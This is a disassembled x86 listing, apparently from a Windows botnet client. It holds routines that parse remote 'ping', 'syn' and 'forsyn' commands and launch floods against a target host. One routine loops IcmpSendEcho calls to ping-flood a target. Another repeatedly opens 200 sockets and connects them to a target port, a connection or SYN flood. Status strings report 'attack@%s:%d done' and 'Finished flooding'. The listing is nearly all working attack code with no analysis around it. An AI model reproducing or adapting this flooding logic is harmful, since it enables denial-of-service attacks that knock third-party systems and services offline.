0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426EC0: ; CODE XREF: ___:loc_401B81j push 0FFFFFFFFh push offset loc_43C9C4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014DD push eax mov ecx, ebp call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_427058 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_426F2B mov ecx, eax call sub_401DF2 mov ebp, eax loc_426F2B: ; CODE XREF: ___:00426F20j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FDC mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013DE mov ebp, [esp+54h] loc_427058: ; CODE XREF: ___:00426F01j lea ecx, [ebx+8Eh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4271CA push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_42709B mov ecx, eax call sub_401BDB mov ebp, eax jmp short loc_42709D ; --------------------------------------------------------------------------- loc_42709B: ; CODE XREF: ___:0042708Ej xor ebp, ebp loc_42709D: ; CODE XREF: ___:00427099j push offset asc_444600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4271CA: ; CODE XREF: ___:0042706Dj lea ecx, [ebx+4] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_427339 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_42720A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_42720C ; --------------------------------------------------------------------------- loc_42720A: ; CODE XREF: ___:004271FDj xor ebp, ebp loc_42720C: ; CODE XREF: ___:00427208j push offset asc_444600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013DE mov ebp, [esp+54h] loc_427339: ; CODE XREF: ___:004271DCj lea ecx, [ebx+32h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4274E4 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_427379 mov ecx, eax call sub_40178F mov ebp, eax jmp short loc_42737B ; --------------------------------------------------------------------------- loc_427379: ; CODE XREF: ___:0042736Cj xor ebp, ebp loc_42737B: ; CODE XREF: ___:00427377j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4274E4: ; CODE XREF: ___:0042734Bj lea ecx, [ebx+0EAh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_427501 mov [ebx+11Ch], al loc_427501: ; CODE XREF: ___:004274F9j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4276C0 proc near ; CODE XREF: sub_401A78j var_4 = dword ptr -4 push ecx mov edx, dword_449A14 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4276E1 inc ecx mov [eax+118h], ecx loc_4276E1: ; CODE XREF: sub_4276C0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E8EAB call sub_40120D sub_4276C0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427740 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427740 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F0DC call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427740 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277B0 proc near ; CODE XREF: sub_401F9Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4277B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4277B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427850 proc near ; CODE XREF: sub_4014CEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427850 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427850 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427910: ; CODE XREF: ___:loc_4016DBj ; ___:0040219Ej push esi mov esi, ecx call sub_4014CE test byte ptr [esp+8], 1 jz short loc_427928 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427928: ; CODE XREF: ___:0042791Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427940 proc near ; CODE XREF: sub_4011FEj ___:0040209Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4020AE test [esp+4+arg_0], 1 jz short loc_427958 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427958: ; CODE XREF: sub_427940+Dj mov eax, esi pop esi retn 4 sub_427940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427970 proc near ; CODE XREF: sub_4020AEj jmp sub_4014CE sub_427970 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427990 proc near ; CODE XREF: sub_401A50j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427990 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_40183E add esp, 10h test eax, eax jz short loc_427A54 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_427A6E ; --------------------------------------------------------------------------- loc_427A54: ; CODE XREF: sub_427990+9Aj mov ecx, ebx call sub_4017EE push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_427A6E: ; CODE XREF: sub_427990+C2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427990 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427B10 proc near ; CODE XREF: sub_401E9Cj var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_437B30 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 27E0830h mov esi, eax test esi, esi jz short loc_427B7A mov edi, dword_511918 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_51012C, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_510130, eax call edi mov ecx, dword_51012C mov dword_510128, eax test ecx, ecx jz short loc_427B7A mov edx, dword_510130 test edx, edx jz short loc_427B7A test eax, eax jz short loc_427B7A mov al, [esp+0Bh] test al, al jz short loc_427B85 loc_427B7A: ; CODE XREF: sub_427B10+1Bj ; sub_427B10+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_427B85: ; CODE XREF: sub_427B10+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_427B9C mov [esp+24h+arg_FFE8], eax loc_427B9C: ; CODE XREF: sub_427B10+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_427BAF mov ebp, 1 loc_427BAF: ; CODE XREF: sub_427B10+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_427BF4 loc_427BC0: ; CODE XREF: sub_427B10+E2j mov al, byte_4D84C9 test al, al jz short loc_427BF4 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_510128 ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_427BC0 loc_427BF4: ; CODE XREF: sub_427B10+AEj ; sub_427B10+B7j push edi call dword_510130 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_427B10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C50 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40188E mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E9C add esp, 14h retn sub_427C50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C90 proc near ; CODE XREF: sub_401BDBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset nullsub_10 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427C90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_427D00: ; CODE XREF: ___:00401A28j ; ___:00401AC3j push esi mov esi, ecx call sub_401807 test byte ptr [esp+8], 1 jz short loc_427D18 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427D18: ; CODE XREF: ___:00427D0Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427D30 proc near ; CODE XREF: sub_401807j jmp sub_4014CE sub_427D30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427D50 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427D50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E7D9F mov [esp+2Ch+var_28], eax loc_427D76: ; CODE XREF: sub_427D50+35j cmp dword ptr [ecx], 0 jz short loc_427D87 add ecx, 78h inc eax cmp ecx, offset byte_4E86FF jl short loc_427D76 loc_427D87: ; CODE XREF: sub_427D50+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_427F39 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E7D2Bh[eax*8] call sub_4017EE mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx nop call near ptr 71AB2B66h and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_427DF0 mov dword ptr [ebp+68h], 5 loc_427DF0: ; CODE XREF: sub_427D50+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_510138 mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8085 call sub_401857 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_510338 push 0 push ecx push offset sub_4012C1 push 0 push 0 nop call near ptr 2790219h test eax, eax mov dword_51033C, eax jz short loc_427E8B push offset dword_448F44 push 5 push eax push 0 push offset dword_510138 call sub_4013F2 add esp, 14h mov [ebp+70h], eax jmp short loc_427EBB ; --------------------------------------------------------------------------- loc_427E8B: ; CODE XREF: sub_427D50+11Dj mov ecx, esi call sub_4017EE push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_427EBB: ; CODE XREF: sub_427D50+139j lea ecx, [esp+38h+var_24] call sub_40142E mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017EE push eax push offset aS ; "%s" mov ecx, edi call sub_4014DD mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_427F39: ; CODE XREF: sub_427D50+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_427D50 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FD0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E7D2Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax nop call near ptr 71AB2B66h push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_428066 push ebp nop call near ptr 71AB4FD4h xor edx, edx cmp eax, edx jnz short loc_42805F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8745[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_42805F: ; CODE XREF: sub_427FD0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428066: ; CODE XREF: sub_427FD0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_428116 mov ebx, dword_511C3C loc_428085: ; CODE XREF: sub_427FD0+140j mov al, byte_4D84C9 test al, al jz loc_428116 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_42809B: ; CODE XREF: sub_427FD0+EFj push 0 push 1 push 2 call ebx ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4280BB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax nop call near ptr 71AB4519h loc_4280BB: ; CODE XREF: sub_427FD0+D8j add esi, 4 dec edi jnz short loc_42809B lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280CA: ; CODE XREF: sub_427FD0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax call near ptr 71AB406Ah nop add esi, 4 dec edi jnz short loc_4280CA mov ecx, [ebp+68h] push ecx call near ptr 283030Ah nop lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280F3: ; CODE XREF: sub_427FD0+130j mov edx, [esi] push edx nop call near ptr 71AB9639h add esi, 4 dec edi jnz short loc_4280F3 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_428085 loc_428116: ; CODE XREF: sub_427FD0+A9j ; sub_427FD0+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8745[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_427FD0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4281A0 proc near ; CODE XREF: sub_401DF2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4281A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F10C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4281A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428210 proc near ; CODE XREF: ___:004016E5j sub_40182Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_428228 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428228: ; CODE XREF: sub_428210+Dj mov eax, esi pop esi retn 4 sub_428210 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428240 proc near ; CODE XREF: sub_4010FFj jmp sub_4014CE sub_428240 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428260 proc near ; CODE XREF: sub_401EB0j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428260 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_401DCF sub_428260 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017EE 